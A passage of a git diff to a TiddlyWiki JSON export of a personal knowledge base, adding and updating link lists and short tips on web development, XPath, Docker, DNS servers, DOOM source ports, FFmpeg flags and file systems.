dangerous and a security risk?|https://stackoverflow.com/questions/7289139/why-are-iframes-considered-dangerous-and-a-security-risk]]\n: [[4 IFrame Security Concerns You Should Know|https://blog.bitsrc.io/4-security-concerns-with-iframes-every-web-developer-should-know-24c73e6a33e4?gi=2c961c6663da]]\n\n!!! ''Tools and similar''\n\n* https://github.com/csstools/oldie - //tranforms CSS to be compatible with old Internet Explorer//\n* [[CORS Anywhere|https://github.com/Rob--W/cors-anywhere]] - //Server proxy which adds CORS headers to the request//\n\n!!!! Minification\n\n* ~~[[node-minify|https://github.com/srod/node-minify]] - //Light Node.js module and CLI app that compress javascript, css and html files//~~\n\n!!! ''Misc''\n\n* [[web.dev|https://web.dev/]] - //Guidance to build modern web experiences that work on any browser// (?)\n* [[Go Make Things|https://gomakethings.com/]] - //how to build a simpler, more resilient web//\n** [[The Vanilla JS Toolkit|https://vanillajstoolkit.com/]] - //tools and snippets for working with JavaScript// (libraries, functions, polyfills, learning)\n* [[Web Accessibility Developer Guide|https://www.accessibility-developer-guide.com/]]\n* [[Using \u003Cstyle> tags in the \u003Cbody> with other HTML|https://stackoverflow.com/questions/2830296/using-style-tags-in-the-body-with-other-html]] --- there once was a `scoped` attribute for `\u003Cstyle>` blocks, but it's nowadays deprecated and styles apply to all document elements despite their own position in the tree\n\n* [[Convert any website into a PWA in just 3 simple steps|https://dev.to/developertharun/convert-any-website-into-a-pwa-in-just-3-simple-steps-35pp]]\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n* [[How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page|https://stackoverflow.com/questions/72356003/how-to-inject-service-worker-js-to-a-webpage-via-chrome-extension-i-want-to-add]]\n* [[Convert HTML5 Canvas Sequence to a Video File|https://stackoverflow.com/questions/19235286/convert-html5-canvas-sequence-to-a-video-file/62065826#62065826]]\n** customize video quality by changing codec: \u003C\u003CMDNLink Web/API/MediaRecorder/mimeType#examples MediaRecorder/mimeType>>\n\n* [[Hail, Babel! The Transpiling Overlord|https://www.telerik.com/blogs/hail-babel-the-transpiling-overlord]]\n** [[Using babel to transpile to es3 (safari compliant)|https://stackoverflow.com/questions/40205547/using-babel-to-transpile-to-es3-safari-compliant]]\n** [[How to Convert ES6 into ES5 using Babel|https://medium.com/@SunnyB/how-to-convert-es6-into-es5-using-babel-1b533d31a169]]\n\n* [[How to add full text search to your website|https://medium.com/dev-channel/how-to-add-full-text-search-to-your-website-4e9c80ce2bf4]]\n** [[BlogSearch|https://github.com/kbumsik/blogsearch]]\n** [[MiniSearch, a client-side full-text search engine|https://lucaongaro.eu/blog/2019/01/30/minisearch-client-side-fulltext-search-engine.html]]\n** [[Client-side full-text search in CSS|https://www.redotheweb.com/2013/05/15/client-side-full-text-search-in-css.html?]] (+ a bit of JS :c)\n** [[Lunr.js|https://github.com/olivernn/lunr.js/]]\n*** [[Add Search to Your Static Site with Lunr.js (Hugo, Vanilla JS)|https://aaronluna.dev/blog/add-search-to-static-site-lunrjs-hugo-vanillajs/]]\n*** [[Adding Super Fast Frontend Search in Rails with Lunr|https://blog.cloud66.com/adding-super-fast-frontend-search-in-rails-with-lunr]]\n"}, +{"title":"Web/Development","created":"20230221204801305","creator":"Octt","modified":"20240119001119592","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web development\">>\n\n!!! ''References''\n\n; Misc\n: [[Window: postMessage()|https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage]]\n: [[Proxy Auto-Configuration (PAC) file|https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file]]\n\n; DOM querying\n: [[Find all text nodes in HTML page|https://stackoverflow.com/a/10730777]]\n: [[Find the closest ancestor element that has a specific class|https://stackoverflow.com/a/49516201]] | [[Element.closest()|https://developer.mozilla.org/en-US/docs/Web/API/Element/closest]]\n\n; DOM manipulation\n: [[Insert a childNode to a specific position|https://stackoverflow.com/a/26259544]]\n: [[Prepend/append childNode to beginning/end of element|https://stackoverflow.com/a/45656684]]\n: [[Replace a DOM Element|https://www.javascripttutorial.net/dom/manipulating/replace-a-dom-element/]]\n\n; Embeds\n: [[From object to iframe — other embedding technologies|https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies]]\n: [[Alternative to iFrames with HTML5?|https://stackoverflow.com/questions/8702704/alternative-to-iframes-with-html5#31845361]]\n: [[Why are iframes considered dangerous and a security risk?|https://stackoverflow.com/questions/7289139/why-are-iframes-considered-dangerous-and-a-security-risk]]\n: [[4 IFrame Security Concerns You Should Know|https://blog.bitsrc.io/4-security-concerns-with-iframes-every-web-developer-should-know-24c73e6a33e4?gi=2c961c6663da]]\n\n!!! ''Tools and similar''\n\n* https://github.com/csstools/oldie - //tranforms CSS to be compatible with old Internet Explorer//\n* [[CORS Anywhere|https://github.com/Rob--W/cors-anywhere]] - //Server proxy which adds CORS headers to the request//\n* [[Web developer tools (mothereff.in)|https://mothereff.in/]] --- \u003C\u003C[# Git\"https://github.com/mathiasbynens/mothereff.in\">>\n\n!!!! Minification\n\n* ~~[[node-minify|https://github.com/srod/node-minify]] - //Light Node.js module and CLI app that compress javascript, css and html files//~~\n\n!!! ''Misc''\n\n* [[web.dev|https://web.dev/]] - //Guidance to build modern web experiences that work on any browser// (?)\n* [[Go Make Things|https://gomakethings.com/]] - //how to build a simpler, more resilient web//\n** [[The Vanilla JS Toolkit|https://vanillajstoolkit.com/]] - //tools and snippets for working with JavaScript// (libraries, functions, polyfills, learning)\n* [[Web Accessibility Developer Guide|https://www.accessibility-developer-guide.com/]]\n* [[Using \u003Cstyle> tags in the \u003Cbody> with other HTML|https://stackoverflow.com/questions/2830296/using-style-tags-in-the-body-with-other-html]] --- there once was a `scoped` attribute for `\u003Cstyle>` blocks, but it's nowadays deprecated and styles apply to all document elements despite their own position in the tree\n\n* [[Convert any website into a PWA in just 3 simple steps|https://dev.to/developertharun/convert-any-website-into-a-pwa-in-just-3-simple-steps-35pp]]\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n* [[How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page|https://stackoverflow.com/questions/72356003/how-to-inject-service-worker-js-to-a-webpage-via-chrome-extension-i-want-to-add]]\n* [[Convert HTML5 Canvas Sequence to a Video File|https://stackoverflow.com/questions/19235286/convert-html5-canvas-sequence-to-a-video-file/62065826#62065826]]\n** customize video quality by changing codec: \u003C\u003CMDNLink Web/API/MediaRecorder/mimeType#examples MediaRecorder/mimeType>>\n\n* [[Hail, Babel! The Transpiling Overlord|https://www.telerik.com/blogs/hail-babel-the-transpiling-overlord]]\n** [[Using babel to transpile to es3 (safari compliant)|https://stackoverflow.com/questions/40205547/using-babel-to-transpile-to-es3-safari-compliant]]\n** [[How to Convert ES6 into ES5 using Babel|https://medium.com/@SunnyB/how-to-convert-es6-into-es5-using-babel-1b533d31a169]]\n\n* [[How to add full text search to your website|https://medium.com/dev-channel/how-to-add-full-text-search-to-your-website-4e9c80ce2bf4]]\n** [[BlogSearch|https://github.com/kbumsik/blogsearch]]\n** [[MiniSearch, a client-side full-text search engine|https://lucaongaro.eu/blog/2019/01/30/minisearch-client-side-fulltext-search-engine.html]]\n** [[Client-side full-text search in CSS|https://www.redotheweb.com/2013/05/15/client-side-full-text-search-in-css.html?]] (+ a bit of JS :c)\n** [[Lunr.js|https://github.com/olivernn/lunr.js/]]\n*** [[Add Search to Your Static Site with Lunr.js (Hugo, Vanilla JS)|https://aaronluna.dev/blog/add-search-to-static-site-lunrjs-hugo-vanillajs/]]\n*** [[Adding Super Fast Frontend Search in Rails with Lunr|https://blog.cloud66.com/adding-super-fast-frontend-search-in-rails-with-lunr]]\n"}, {"title":"Webmaster\\Sysadmin Resources","created":"20230207175931355","creator":"Octt","modified":"20230207185026793","modifier":"Octt","tags":"","text":"!!! ''Network''\n\n* [[ping]]\n* [[traceroute]]"}, {"title":"Webrings","created":"20221103220025295","modified":"20230206111552433","modifier":"Octt","tags":"Internet TODO $:/i18n:en","text":"\u003C\u003CMediaWiki Webring en 4>>\n\n!!! ''List of many Webrings''\n\n//I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)//\n\nLegend:\n\n* ✅: Joined\n* 📅: Waiting\n* ❓: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)\n* ❌: Got rejected\n* ✏️ (or empty): Noted only\n\n---\n\n* ✏️ https://250kb.club, https://512kb.club, https://1mb.club\n* ✅ https://fediring.net\n* ✏️ https://hotlinewebring.club\n* ✏️ https://xhtml.club\n* ✏️ https://webring.xxiivv.com\n* ❓ https://yesterweb.org/webring\n"}, {"title":"Website","created":"20230217225430678","creator":"Octt","modified":"20230217225540214","modifier":"Octt","tags":"Web","text":"\u003C\u003C^wikipediaframe Website>>"}, @@ -1519,7 +1520,7 @@ {"title":"Xiaomi","created":"20230207191250602","creator":"Octt","modified":"20230207191924416","modifier":"Octt","tags":"Company China","text":"\u003C\u003CMediaWiki Xiaomi en 3>>\n\n!!! ''Resources''\n\n!!!! ''Mobile devices''\n\n!!!!! ''Firmwares and tools''\n\n* https://xiaomifirmwareupdater.com/\n* https://xiaomirom.com/en/\n* https://mifirm.net/\n"}, {"title":"Xiaomi Redmi 9T","created":"20230205143148006","creator":"Octt","modified":"20230207191007063","modifier":"Octt","tags":"Android Xiaomi","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/xiaomi_redmi_9t-10670.php\">>\n\u003C!-- \u003C\u003CiFrameBypass \"https://html.duckduckgo.com/html?q=! Redmi 9T site:gsmarena.com\">> -->\n\n!!! ''Resources'' (for `lime`, tested working on `lemon`)\n\n* [[TWRP 3.5.A10 Unofficial (BETA)|https://forum.xda-developers.com/t/recovery-3-5-a10-twrp-unnoficial-for-lime-redmi9t-beta.4233045/]] - [[[Download latest|https://androidfilehost.com/?fid=2188818919693773061]]] [[[Git|https://github.com/geoanto555/android_device_xiaomi_lime]]]\n* [[Project Elixir (Android 13)|https://forum.xda-developers.com/t/rom-12-1-juice-chime-project-elixir-v2-x-official.4413741/]] - [[[Downloads|https://www.pling.com/p/1723537/]]]\n"}, {"title":"XML","created":"20230202225649145","creator":"Octt","modified":"20230823101857409","modifier":"Octt","tags":"$:/i18n:en Markup WIP","text":"\u003C\u003C^WikipediaFrame XML en>>\n\n* [[The XML FAQ|https://xml.silmaril.ie]] --- //Frequently-Asked Questions about the Extensible Markup Language//\n"}, -{"title":"XPath","created":"20230817233205916","creator":"Octt","modified":"20230817233235394","modifier":"Octt","tags":"XML WIP","text":"\u003C\u003C^wikipediaframe XPath>>"}, +{"title":"XPath","created":"20230817233205916","creator":"Octt","modified":"20240118233818349","modifier":"Octt","tags":"XML WIP","text":"\u003C\u003C^wikipediaframe XPath>>\n\n* [[XPather|http://xpather.com/]] --- //XPath online real-time tester, evaluator and generator for XML & HTML//\n"}, {"title":"XSL","created":"20230818075543447","creator":"Octt","modified":"20230818075558395","modifier":"Octt","tags":"XML","text":"\u003C\u003C^wikipediaframe XSL>>\n\n"}, {"title":"XSLT","created":"20230818075444257","creator":"Octt","modified":"20231224001236299","modifier":"Octt","tags":"XSL","text":"\u003C\u003C^wikipediaframe XSLT>>\n\n* [[XSL if test with multiple test conditions|https://stackoverflow.com/questions/21381055/xsl-if-test-with-multiple-test-conditions]] --- `\u003Cxsl:choose> \u003Cxsl:when test=\"expression\"> ...`\n* [[how to check with 2 conditions for test in xsl if\\when|https://stackoverflow.com/questions/1654082/how-to-check-with-2-conditions-for-test-in-xslwhen#1654104]] --- `\u003Cxsl:when test=\"$test1 = 'Yes' or $test1 = 'yes'\">`\n"}, {"title":"YouTube","created":"20230109104559438","creator":"Octt","modified":"20231223000105506","modifier":"Octt","tags":"Internet TODO $:/i18n:en","text":"\u003C\u003C^wikipediaframe YouTube>>\n\n* [[/watch?v=|https://www.youtube.com/watch?v=]] --- as of December 2023, this URL loads the video \u003C\u003CYoutubeL 9xp1XWmJ_Wo \"YouTube is not currently available on this device.\">> (directly, without redirects)\n* [[Infinite-Storage-Glitch|https://github.com/DvorakDwarf/Infinite-Storage-Glitch]] - //Use YouTube as cloud storage for any files// - \u003C\u003C[ \"[[Mirror|https://gitea.it/octo/Infinite-Storage-Glitch]]\">>\n"}, diff --git a/-2.html b/-2.html index d2a557ae..5c2aee2e 100644 --- a/-2.html +++ b/-2.html @@ -751,7 +751,7 @@ {"title":"$:/state/plugin-info-1958370054-$:/core--2000059281","created":"20220920140149154","modified":"20220920140149154","text":"contents"}, {"title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","created":"20230108195707554","modified":"20230108195709210","text":"readme"}, {"title":"$:/state/plugin-info-496662381-$:/languages/it-IT","created":"20230218113830823","creator":"Octt","modified":"20230218114059177","modifier":"Octt","text":"no"}, -{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240107223825086","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, +{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240108100838992","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, {"title":"$:/state/showeditpreview","created":"20220920140732083","creator":"Octt","modified":"20231227005915618","modifier":"Octt","text":"yes"}, {"title":"$:/state/ShowPaletteEditor","created":"20220920114858684","modified":"20220920114858684","text":"yes"}, {"title":"$:/state/sidebar","created":"20220920174307633","creator":"Octt","modified":"20231221152237213","modifier":"Octt","text":"yes"}, @@ -792,8 +792,8 @@ {"title":"$:/state/tab-914888664","created":"20230110152841020","modified":"20230110152841020","text":"$:/core/ui/TiddlerInfo/References"}, {"title":"$:/state/tab-99014043","created":"20220921221238452","creator":"Octt","modified":"20230218224826352","modifier":"Octt","text":"$:/core/ui/ControlPanel/TiddlerIcon"}, {"title":"$:/state/tab/moresidebar-1850697562","created":"20220920114911876","creator":"Octt","modified":"20230920153329472","modifier":"Octt","text":"$:/core/ui/MoreSideBar/Explorer"}, -{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240107223825086","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, -{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240108001338109","modifier":"Octt","text":"OcttKB/Index"}, +{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240108100838993","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, +{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240110011701265","modifier":"Octt","text":"OcttKB/Index"}, {"title":"$:/state/tabs/controlpanel/toolbars-1345989671","created":"20220920114638764","creator":"Octt","modified":"20230128224606306","modifier":"Octt","text":"$:/core/ui/ControlPanel/Toolbars/PageControls"}, {"title":"$:/state/tag-cloud-count","created":"20230109231545587","modified":"20230109231831243","text":"inline"}, {"title":"$:/state/toc-$:/OcttKB/ToC-2084057354","created":"20230301190128004","creator":"Octt","modified":"20230301190128780","modifier":"Octt","text":"close"}, @@ -1110,6 +1110,7 @@ {"title":"Chat","created":"20231227013056119","creator":"Octt","modified":"20231227013217297","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Online chat\">>\n\n* //''[[ChatBro|https://www.chatbro.com/en/]]'' is a web-based messenger that can be synchronized with Telegram and VK.//\n"}, {"title":"CHIP-8","created":"20230215191853969","creator":"Octt","modified":"20230215191910586","modifier":"Octt","tags":"","text":"\u003C\u003CWikipediaFrame CHIP-8 en>>"}, {"title":"Clock","created":"20230216212048745","creator":"Octt","icon":"🕰️","modified":"20230919165558817","modifier":"Octt","page-cover":"https://source.unsplash.com/random?clock","tags":"Time","text":"\u003C\u003C^wikipediaframe Clock en>>\n\n; Some Clocks\n: \u003C\u003CYoutubeL vugulzS0EoU \"2 Retro Clocks with an ESP32 (Couldn't be simpler!)\">>\n"}, +{"title":"Coding","created":"20230816230758244","creator":"Octt","modified":"20240110004245125","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Computer programming\">>\n\n* \u003C\u003CWikipediaL \"Loop unrolling\">>\n** \u003C\u003CWikipediaL \"Duff's device\">> --- I can't totally understand how this works but the piece of code is visually a beautiful machine\n\n* \u003C\u003CWikipediaL Header-only>>\n\n* \u003C\u003CWikipediaL \"Program optimization\">>\n\n* [[How much abstraction is too much?|https://stackoverflow.com/questions/2668355/how-much-abstraction-is-too-much]] ; [[Can too much abstraction be bad?|https://softwareengineering.stackexchange.com/questions/202477/can-too-much-abstraction-be-bad]]\n\n* [[Wandbox|https://wandbox.org/]] --- //Social Compilation Service//, online multi-language code editing and sharing --- \u003C\u003C[# Git\"https://github.com/melpon/wandbox\">>\n"}, {"title":"Compiler","created":"20231103211923238","creator":"Octt","modified":"20231104231633279","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Compiler>>\n\n* \u003C\u003Clinkdescgit Emscripten\"https://github.com/emscripten-core/emscripten\" \"An LLVM-to-WebAssembly Compiler\" \"https://github.com/emscripten-core/emscripten\">>\n"}, {"title":"Computing","created":"20231224171029994","creator":"Octt","modified":"20231227005340172","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Computing\">>\n\n* [[Computernewb|https://computernewb.com/]] --- //personal domain where I host various projects, probably the most famous one being CollabVM//\n\n* \u003C\u003CWikipediaL \"pushd and popd\">>\n"}, {"title":"Content delivery network","created":"20231229013447885","creator":"Octt","modified":"20240102003406854","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Content delivery network\">>\n\n* //''[[ESM>CDN (esm.sh)|https://esm.sh/]]'' esm.sh is a modern CDN that allows you to import es6 modules from a URL// --- \u003C\u003C[# Git\"https://github.com/esm-dev\">>\n"}, @@ -1141,7 +1142,7 @@ {"title":"Display","created":"20230217074841336","creator":"Octt","modified":"20230217075021314","modifier":"Octt","tags":"Device Output","text":"\u003C\u003C^wikipediaframe \"Display device\">>"}, {"title":"DIY","created":"20230605212401089","creator":"Octt","modified":"20231223222317790","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe DIY>>\n\n!! ''Repairs''\n\n* [[Repair Preservation Group Wiki (repair.wiki)|https://repair.wiki/w/Repair_Wiki]]\n* [[Woodgears.ca|https://woodgears.ca/]] --- //An engineer's approach to\nWoodworking//\n\n* [[Notes on the Troubleshooting and Repair of Television Sets|https://www.repairfaq.org/samnew/tvfaq.htm]]\n** [[CRT repair and troubleshooting|https://repair.wiki/w/CRT_repair_and_troubleshooting]]\n"}, {"title":"DNS","created":"20230209103557956","creator":"Octt","modified":"20230920082855436","modifier":"Octt","tags":"Internet","text":"\u003C\u003C^wikipediaframe \"Domain Name System\">>\n\n; Tools\n: [[DNS Toys|https://www.dns.toys/]] - //Useful utilities and services over DNS//\n\n; Misc\n: [[Bizarre and Unusual Uses of DNS [FOSDEM23]|https://fosdem.org/2023/schedule/event/dns_bizarre_and_unusual_uses_of_dns/]] - //Rule 53: If you can think of it, someone's done it in the DNS//\n: [[DNS over Wikipedia|https://github.com/aaronjanse/dns-over-wikipedia]] --- //Redirect `.idk` domains using Wikipedia//\n\n!!! ''List of some DNS servers''\n\n(including \u003C\u003CWikipediaLink \"DNS over TLS\" en \" \">>, easily usable on [[Android]] >= 9):\n\n; 🇺🇸 ''[[Cloudflare|https://1.1.1.1/]]'' (avoid):\n: \u003C\u003CWikipediaLink- \"1.1.1.1\" en>>\n\n; 🇪🇺 ''[[dns0.eu|https://www.dns0.eu/]]'' (new, never tried it)\n: Seen on [[Feddit.it|https://feddit.it/post/145578]]\n\n; 🇺🇸 ''[[Google|https://dns.google/]]'' (avoid):\n: \u003C\u003CWikipediaLink- \"Google Public DNS\" en>>\n\n; 🇨🇭 ''[[Quad9|https://www.quad9.net/]]'' (good):\n: \u003C\u003CWikipediaLink- \"Quad9#Service\" en>>\n\n; 🇩🇰 [+ 🇺🇸] ''[[UncensoredDNS|https://blog.uncensoreddns.org/]]'' (ideally perfect but I found it crashed sometimes or got slow):\n: \u003Cdiv>\n\n\u003C\u003C\u003C\n; anycast.uncensoreddns.org\n: Anycast from multiple locations.\n* DNS-over-TLS: `anycast.uncensoreddns.org:853`\n* DNS-over-HTTPS: `https://anycast.uncensoreddns.org/dns-query`\n*IPv4: `91.239.100.100`\n*IPv6: `2001:67c:28a4::`\n\u003C\u003C\u003C\n\u003C\u003C\u003C\n; unicast.uncensoreddns.org\n: This node is hosted at AS9167 in Copenhagen, Denmark.\n* DNS-over-TLS: `unicast.uncensoreddns.org:853`\n* DNS-over-HTTPS: `https://unicast.uncensoreddns.org/dns-query`\n* IPv4: `89.233.43.71`\n* IPv6: `2a01:3a0:53:53::`\n\u003C\u003C\u003C\n\u003C/div>\n\n\u003C!--\nTODO: \n- Link to the specific reasons of why to avoid certain DNS providers\n-->\n"}, -{"title":"Docker","created":"20230722232624533","creator":"Octt","modified":"20230823230503260","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe \"Docker (software)\">>\n\n!!! Commands\n\n* `start`, `restart`: On existing containers, respectively ''start'' if it's not running, or ''restart'' at any condition\n\n!!! Flags\n\n* Passing ports: `-p Host:Container`, eg `-p 8080:80`\n"}, +{"title":"Docker","created":"20230722232624533","creator":"Octt","modified":"20240110005619440","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe \"Docker (software)\">>\n\n!!! Commands\n\n* `start`, `restart`: On existing containers, respectively ''start'' if it's not running, or ''restart'' at any condition\n\n!!! Flags\n\n* Passing ports: `-p Host:Container`, eg `-p 8080:80`\n\n!!! Resources\n\n* [[ERROR: Pool overlaps with other one on this address space 'bridge'|https://stackoverflow.com/questions/56515128/error-pool-overlaps-with-other-one-on-this-address-space-when-starting-my-proje#60506716]] --- to destroy other networks and quickly fix, `docker network prune`\n"}, {"title":"Document","created":"20230816230347077","creator":"Octt","modified":"20230920092125731","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Document>>\n\n* \u003C\u003Clink+desc+git ONLYOFFICE \"https://www.onlyoffice.com\" \"An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents\" \"https://github.com/ONLYOFFICE\">> \u003C\u003C#[ \"Android Git and APKs\" \"https://github.com/ONLYOFFICE/documents-app-android\">>\n\n* \u003C\u003CRedditL r/humblebundles/comments/7z37lo/pdf_or_cbz_for_absolute_best_image_quality \"PDF or CBZ for absolute best image quality?\">>\n* \u003C\u003CRedditL r/humblebundles/comments/7tks9g/is_there_a_clear_winner_for_best_format_to \"Is there a clear winner for best format to download comics?\">>\n"}, {"title":"DOOM","created":"20230116202834289","creator":"Octt","modified":"20231219001834096","modifier":"Octt","tags":"TODO FPS Retro $:/i18n:en Game","text":"\u003C\u003C^wikipediaframe Doom_(videogame) en>>\n\n* [[Chocolate Doom|https://www.chocolate-doom.org]] --- //Doom source port that accurately reproduces the experience of Doom as it was played in the 1990s// with limited mod support but high cross-platform support --- \u003C\u003C[# Git\"https://github.com/chocolate-doom/chocolate-doom\">>\n* [[ZDoom Team|https://zdoom.org/]] --- //team of developers and contributors [...] primarily develop and maintain the GZDoom and Raze source ports, and also some of the tools that can be used to fascilitate editing of game modifications which are supported by them//\n** [[GZDoom|https://github.com/ZDoom/gzdoom]] --- //GZDoom is a feature centric port for all Doom engine games, based on ZDoom, adding an OpenGL renderer and powerful scripting capabilities//\n\n* [[WAD Commander|https://wadcmd.com/]] --- //WAD Commander is a tool running in modern browsers to load and play WAD files of DOOM® and DOOM II®.//\n* [[Wasm Doom by Cloudflare|https://silentspacemarine.com/]] --- //Chocolate Doom WebAssembly port with WebSockets support// --- \u003C\u003C[# Git\"https://github.com/cloudflare/doom-wasm\">>\n\n* //[[Mi dicono dalla regia che esattamente 30 anni fa, #DOOM viene ufficialmente rilasciato. Che dire…|https://octospacc.altervista.org/2023/12/10/416/]]//\n\n* //''[[Freedoom project|https://freedoom.github.io/]]'' aims to create a complete free content game based on the Doom engine// --- \u003C\u003C[# Git\"https://github.com/freedoom\">>\n* [[Eviternity II|https://eviternity.dfdoom.com/]] --- //full 36-map megawad sequel to Eviternity//, with apparently nice-looking levels\n\n\u003C!--\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://dos.zone/player/?bundleUrl=https://cdn.dos.zone/custom/dos/doom.jsdos&exit=1\">>\n--->\n"}, {"title":"DOS","created":"20231102223250475","creator":"Octt","modified":"20231223111404767","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe DOS>>\n\n* //''[[FreeDOS|https://freedos.org/]]'' --- is a free software operating system for IBM PC compatible computers.//\n\n* [[js-dos v7|https://js-dos.com/]] --- //The simplest API to run DOS games in browser// --- \u003C\u003C[# Git\"https://github.com/js-dos\">>\n** [[DOS Zone|https://dos.zone/]] --- //Ultimate collection of online dos games//\n\n* [[DOS haven|http://www.doshaven.eu/]] --- //21st century DOS games//, and related resources like homebrews, tools, and codes\n"}, @@ -1163,8 +1164,8 @@ {"title":"FFmpeg","created":"20231210222318699","creator":"Octt","modified":"20231210222659341","modifier":"Octt","text":"\u003C\u003C^wikipediaframe FFmpeg>>\n\n* [[ffmpeg.wasm|https://ffmpegwasm.netlify.app/]] --- //FFmpeg for browser, powered by WebAssembly// --- \u003C\u003C[# Git\"https://github.com/ffmpegwasm\">>\n** [[ffmpeg-web|https://ffmpeg-web.netlify.app/]] --- //Web UI for ffmpeg-wasm: convert video, audio and images using the power of ffmpeg, directly from your browser// --- \u003C\u003C[# Git\"https://github.com/dinoosauro/ffmpeg-web\">>"}, {"title":"FFmpeg/Snippets","created":"20221008141221923","creator":"Octt","modified":"20231112232329809","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"!! Flags\n\n* Specify an input file: `-i ${File}`\n* Framerate: `-r ${r}`, `-framerate ${r}` (//use both because one sometimes doesn't work//) ([[other ways|https://stackoverflow.com/questions/45462731/using-ffmpeg-to-change-framerate#45465730]])\n\n\n!!! Filter Flags\n\n//These are specified by prefixing an argument://\n\n* Audio: `-filter:a` or `-af`\n* Video: `-filter:v` or `-vf`\n\n!!!! Audio Filters\n\n* Volume: `volume=`\n** `±{n}dB`: Adding or Subtracting to absolute value in dB\n** `{%/100}`: Target percentage divided by 100 (e.g: //150% -> 1.5//)\n\n* Detecting volume details: `volumedetect -f null /dev/null` (just prints to console)\n\n!!!! Video Filters\n\n* Scaling: `scale=${w}:${h}`\n* [[Cropping|https://video.stackexchange.com/questions/4563/how-can-i-crop-a-video-with-ffmpeg]]: `crop=${w}:${h}:${x}:${y}`\n\n\n!!! Audio/Video Flags\n\n//These are specified as `-flag:a` or `-flag:v`.//\n\n* Bitrate: `-b:{a|v} ${n}{k|m|...}`\n* Codec: `-c:{a|v} ${codec}`\n\n!!!! Audio Flags\n\n* Audio channels: `-ac ${n}`\n\n\n!! Codecs List\n\n!!! Special\n\n* `copy`: Copy data stream without re-encoding (if supported by container)\n\n!!! Audio Codecs\n\n* `libopus`\n\n!!! Video Codecs\n\n* `h263`, `h264`, `libx265`\n* `libvpx-vp8`, `libvpx-vp9`\n* `libaom-av1`\n\n\n!! Tips\n\n* [[Trim Video|https://shotstack.io/learn/use-ffmpeg-to-trim-video]]\n* [[Image+Audio -> Video|https://superuser.com/questions/1041816/combine-one-image-one-audio-file-to-make-one-video-using-ffmpeg]]"}, {"title":"File manager","created":"20231112232349800","creator":"Octt","modified":"20231112232557820","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"File manager\">>\n\n* \u003C\u003Clinkdescgit \"FileBrowser.org\" \"https://filebrowser.org/\" \"📂 Web File Browser\" \"https://github.com/filebrowser\">>\n"}, -{"title":"File sharing","created":"20231211232616716","creator":"Octt","modified":"20231219002905810","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"File sharing\">>\n\n* [[Filebin|https://filebin.net/]] --- //Filebin is a web application that facilitates convenient file sharing over the web.// --- \u003C\u003C[# Git\"https://github.com/espebra/filebin2/\">>\n* //''[[Pixeldrain|https://pixeldrain.com/]]'' is a file sharing website built for speed and ease of use.// --- \u003C\u003C[# \"Frontend Git\" \"https://github.com/Fornaxian/pixeldrain_web\">>\n* [[THE NULL POINTER (0x0.st)|https://0x0.st/]] --- //No-bullshit file hosting and URL shortening service// --- \u003C\u003C[# Git\"https://git.0x0.st/mia/0x0\">>\n"}, -{"title":"File system","created":"20230813102403596","creator":"Octt","modified":"20231224173923486","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"File system\">>\n\n!!! ''Disk partitioning and related''\n\n\u003C\u003C^wikipediaframe \"Disk partitioning\">>\n\n* [[GParted stop after next operation?|https://superuser.com/questions/312149/gparted-stop-after-next-operation]] --- TLDR: libparted doesn't keep copies of disk data, so the operation can be stopped without data loss only with luck and/or stopping at the least bad time.\n* [[How to recover resize2fs failure|https://serverfault.com/questions/501593/how-to-recover-resize2fs-failure]] (not really possible)\n\n* [[How to Create a Virtual HardDisk Volume Using a File in Linux|https://www.tecmint.com/create-virtual-harddisk-volume-in-linux/]] --- using `mkfs` on a preallocated file\n\n!! ''Fat32''\n\n* [[formatting a drive to FAT32 with mkdosfs, need some info|https://askubuntu.com/questions/190030/formatting-a-drive-to-fat32-with-mkdosfs-need-some-info]] (with cluster size and everything)\n\n!! ''Btrfs''\n\n\u003C\u003C^wikipediaframe 